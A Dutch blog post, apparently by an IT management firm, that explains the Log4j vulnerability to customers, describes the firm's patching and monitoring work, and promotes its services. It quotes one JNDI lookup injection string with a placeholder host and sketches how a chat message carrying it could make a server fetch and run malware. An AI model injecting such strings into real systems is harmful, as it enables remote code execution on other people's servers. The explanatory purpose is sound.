Waarschijnlijk heb je in de media afgelopen weken wel het één en ander voorbij zien komen. Er is een kritieke kwetsbaarheid gevonden in wereldwijd gebruikte software waar je waarschijnlijk nog nooit van gehoord hebt Log4j. Daarom eerst wat uitleg;
Log4j is in een gigantische hoeveelheid platformen, apps en diensten verwerkt. Software van Cisco, IBM, VMware, Fortinet en Red Hat zijn enkele voorbeelden. De precieze toepassing van de library verschilt, maar de registratie van gebeurtenissen in applicaties speelt altijd een rol. Denk aan het noteren van inlogpogingen of de identiteit van de gebruiker van een applicatie.
De applicatie verwerkt een gebeurtenis; Log4j draait data uit. De programmeur van de applicatie bepaalt welke data. Dat kan zoals eerdergenoemd de gebruikersnaam van een gepoogde inlog zijn. Of de tijd waarop een gebruiker inlogt.
De kwetsbaarheid waarop Alibaba’s securityteam stuitte (zij hebben het ontdekt) komt voort uit een wisselwerking tussen programmeertaal Java en library Log4j. Java is in combinatie met Log4j in staat om code in een server op afstand uit te voeren. Daarvoor geven programmeurs de volgende regel mee: ${jndi:ldap://voorbeeld.com/vaneenurl}. De daadwerkelijke url is vervangbaar met het adres van een server naar keuze. Voer je de regel in een Java-applicatie uit, dan probeert de applicatie de data van de gespecificeerde url uit te voeren.
Dit is geen kwetsbaarheid op zich, want in een wenselijk praktijkscenario’s heeft alleen een gemachtigde administrator de mogelijkheid om de regel in een applicatie toe te voegen. Het probleem begint bij Log4j. Draait Log4j de regel uit, dan interpreteert Java precies dezelfde opdracht als een regel die doelgericht door een ontwikkelaar in de applicatie is geplaatst.
Stel dat Log4j is ingesteld om de inhoud van een chatbericht op een online spel te loggen. Een gebruiker van het spel verstuurt de bovengenoemde regel in een chatbericht. De url verwijst naar een server met instructies voor de uitvoering van een malware-applicatie. Log4j draait de regel uit. Java interpreteert een opdracht – en volgt de opdracht netjes op. De gebruiker slaagt in het hacken van de server, zonder ook maar een enkel wachtwoord te hoeven bemachtigen.
Ook heeft het Nationaal Cyber Security Centrum (NCSC) waarschuwt (onderdeel van het ministerie van Justitie en Veiligheid) dat de computersystemen van bijna alle bedrijven en instellingen mogelijk geraakt kunnen worden. Natuurlijk hebben wij hier direct actie op ondernomen.
Wij zijn voor onze klanten, waarvan wij actief hun ICT omgeving beheren, de afgelopen weken heel druk bezig geweest met het in kaart brengen van de problematieken en het inventariseren van mogelijke risico’s. In gevallen waar de betreffende kwetsbaarheid mogelijk (vroeg of laat) van toepassing kan zijn, hebben wij in overleg en afstemming met applicatieleveranciers en softwareleveranciers, de benodigde maatregelen getroffen om dit Log4J lek te dichten. Ook heeft onze monitoring een extra update gekregen welke scant op het kunnen misbruiken van het Log4j beveiligingslek en zijn onze managed firewalls uitgerust met de juiste update definities om een dergelijke aanval te detecteren en blokkeren.
Uiteraard blijft het zaak in de huidige wereld, met toenemende cyber-dreiging, om scherp te blijven en zorg te dragen voor juiste beveiligingsmaatregelen, bewustzijn bij personeel en actief beheer van je ICT omgeving. Twijfel je of Log4j binnen je omgeving voor schade kan zorgen of ben je benieuwd naar welke maatregelen er te nemen zijn om ‘de beveiligingsdrempel’ hoger te leggen, dan kun je natuurlijk (#superlogisch) een beroep doen op Analyst ICT.
